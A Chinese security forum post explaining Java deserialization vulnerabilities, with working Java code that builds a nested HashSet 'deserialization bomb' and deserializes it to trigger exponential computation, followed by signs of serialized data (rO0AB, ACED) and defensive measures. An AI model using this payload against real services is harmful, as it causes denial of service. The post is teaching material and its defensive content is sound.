本帖最后由 山东_朱文鑫 于 2023-6-10 22:10 编辑
家好,我是大白,内既坚实,则外界之九千九百九十九种恶口,当亦如秋风一吹,青蝇绝响。依旧感谢各位小伙伴的一路支持与陪伴。
因为之前的渗透安全之Java反序列拒绝服务攻击分享答应过小伙伴们有时间会整理一下反序列化漏洞的相关知识,我也是在HVV常用处理方式的催促中尽快给该部分小伙伴尽快附上反序列化,还是总体来说确实更加偏向于安服但是对于安全知识的了解以及更加层次的学习甚至使用都比较重要,我们可以一同研习一下渗透的“魅力”。
*本篇章将本着学习的态度进行分享,严禁用于个人非法行为以及黑产获取!!!!
序列化是当以的将对象的状态信息转换为可以存储或传输的形式(字符串)的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象的状态,重新创建该对象。
简单的说,序列化就是把一个对象变成可以传输的字符串,可以以特定的格式在进程之间跨平台、安全的进行通信。各种语言都有反序列化漏洞,Java、PHP、Python等。序列化即将对象转化为字节流,便于保存在文件,内存,数据库中;反序列化即将字节流转化为对象,也就是序列化的逆过程。
Java序列化把Java对象转换为字节序列的过程便于保存在文件、内存、数据库中,ObjectOutputStream类的writeObject()方法可以实现序列化。
反序列化是指把字节序列恢复为 Java 对象的过程,ObjectInputStream 类的readObject()方法用于反序列化。
按照本质来讲序列化和反序列化本身并不存在问题。主要问题在于,如果Java应用对用户输入不做限制,即对不可信数据做了反序列化处理,那么攻击者就可以通过构造恶意代码,让反序列化产生非预期的对象,非预期对象在产生过程中就有可能带来任意代码执行。
反序列化漏洞需要三个东西:
1.反序列化入口
2.目标方法
3.利用链(gadget chain)
在挖掘反序列化漏洞中基本上都回去寻找重写了readObject方法的类,配合上Java的反射机制,构造利用链,形成了Java中特色的反序列化攻击。
对于Java的反序列化炸弹原理就是利用HashSet 重写了readObject()方法,例如:有67个java对象就大约1915个字节,那么执行的越多字节数会呈指数增长。
我们都知道HashSet 底层使用HashMap实现的:
- // Read in all elements in the proper order.
- for (int i=0; i<size; i++) {
- @SuppressWarnings("unchecked")
- E e = (E) s.readObject();
- map.put(e, PRESENT);
- }
复制代码
所以调用链应为:
- public V put(K key, V value) {
- return putVal(hash(key), key, value, false, true);
- }
- static final int hash(Object key) {
- int h;
- return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
- }
复制代码
hash()里的key是HashSet,继承了AbstractSet的hashCode()方法;可以看出计算当前对象的hashCode 需要对其所有元素进行累加,而其元素又是set集合,递归调用,这就是有问题的地方他们会呈满二叉树进行增长。
- public int hashCode() {
- int h = 0;
- Iterator<E> i = iterator();
- while (i.hasNext()) {
- E obj = i.next();
- if (obj != null)
- h += obj.hashCode();
- }
- return h;
- }
复制代码
例如这段代码,这里面存放两个set引用,并且以sangfor为根节点,每个set再存放两个新的set的引用,以此类推,循环100次,每个节点包含至多3个元素,层次结构大致是一棵树,树的深度为101。共创建201个对象。
- public void serializable() throws IOException {
- Set<Object> sangfor = new HashSet<>();
- Set<Object> s1 = sangfor;
- Set<Object> s2 = new HashSet<>();
- for (int i = 0; i < 100; i++) {
- Set<Object> t1 = new HashSet<>();
- Set<Object> t2 = new HashSet<>();
- t1.add("foo"); // Make t1 unequal to t2
- s1.add(t1); s1.add(t2);
- s2.add(t1); s2.add(t2);
- s1 = t1;
- s2 = t2;
- }
- String filePath="/Users/Desktop/ceshi";
- try(ObjectOutputStream objectOutputStream=new ObjectOutputStream(new FileOutputStream(filePath));){
- objectOutputStream.writeObject(sangfor);
- }
- }
复制代码
那么这就是个“炸弹”模型,那么我们如何“引爆”它呢?
- public void deserializable() throws IOException, ClassNotFoundException {
- String filePath="/Users/Desktop/ceshi";
- try(ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream(filePath))) {
- Set<Object> set=(Set<Object>) inputStream.readObject();
- }
- }
复制代码
就是通过以上执行,执行次数与深度成指数关系,这样以满二叉树的方式循环执行扩大,我们仅仅是100次循环,相信我不到1000次循环就足够大,那么无限趋向于无限次循环呢?那么Bong~!!!
那么如何判断Java序列化:
数据以 rO0AB 开头,你基本可以确定这串就是 JAVA 序列化 base64 加密的数据;或者如果以 ACED 开头,那么他就是这一段 java 序列化的 16 进制。
http 参数, cookie , sesion ,存储方式可能是 base64(rO0 ),压缩后的base64(H4s),MII 等 Servlets http,Sockets,Session 管理器,包含的协议就包括: JMX、RMI、JMS、JND1等。(/xac/Xed) xm IXstream/XmldEcoder等(http Body:Content-type: application/xml)json(jackson,fastjson)http请求中包含。
序列化函数接口:
1、Java:
Serializable Externalizable 接口、 fastjson 、 jackson 、 gson 、ObjectInputStream.read、 ObjectObjectInputStream.readUnshared 、 XMLDecoder.read、 ObjectYaml.loadXStream.fromXML 、ObjectMapper.readValue、 JSON.parseObject 等。
2、PHP :
serialize() 、 unserialize()。
3、Python:
pickle。
关于反序列化的防护方式:
1.常见的隔离防护,网络隔离,沙箱,容器,虚拟机可以创建安全的数据中心,从而阻止攻击者直接获得访问端口的权限。
2.信息验证和加密,SSL/TLS可以防御从外网发动的“中间人”攻击,因为攻击这没有私钥破解TLS会话。
3.输入验证,所有从I/O读取的数据都是不可信的(文件可以被窜改,网络输入也可以被改写)。序列化的数据是从I/O读取的,一种保护的方法也许是对输入进行验证。
4.开发代码安全,可以禁掉RMI以及JMX的端口,或者可以借助JVM agent解决办法(如Tapiki或者HypericSigar), 甚至可以安装Jolokia或者jmxtrans来试图减少攻击面等。
5.SecurityManager保护,JVM有SecurityManager保护,保护那些自定义的ObjectInputStream子类。
以上就是本次的渗透安全之反序列化漏洞-Java-Bong~炸弹分享,感谢大佬们的参阅,此贴先到这里后续会带上更加优质的帖子,感谢大家!
*本篇章将本着学习的态度进行分享,严禁用于个人非法行为以及黑产获取!!!!
励志分享超清壁纸语句~~:
志士惜年,贤人惜日,圣人惜时。——魏源
好的今天就到这里,老样子,感谢各位大神的参阅,孩子为了挣豆子不容易,孩子家里穷没豆子吃饭了!!!
|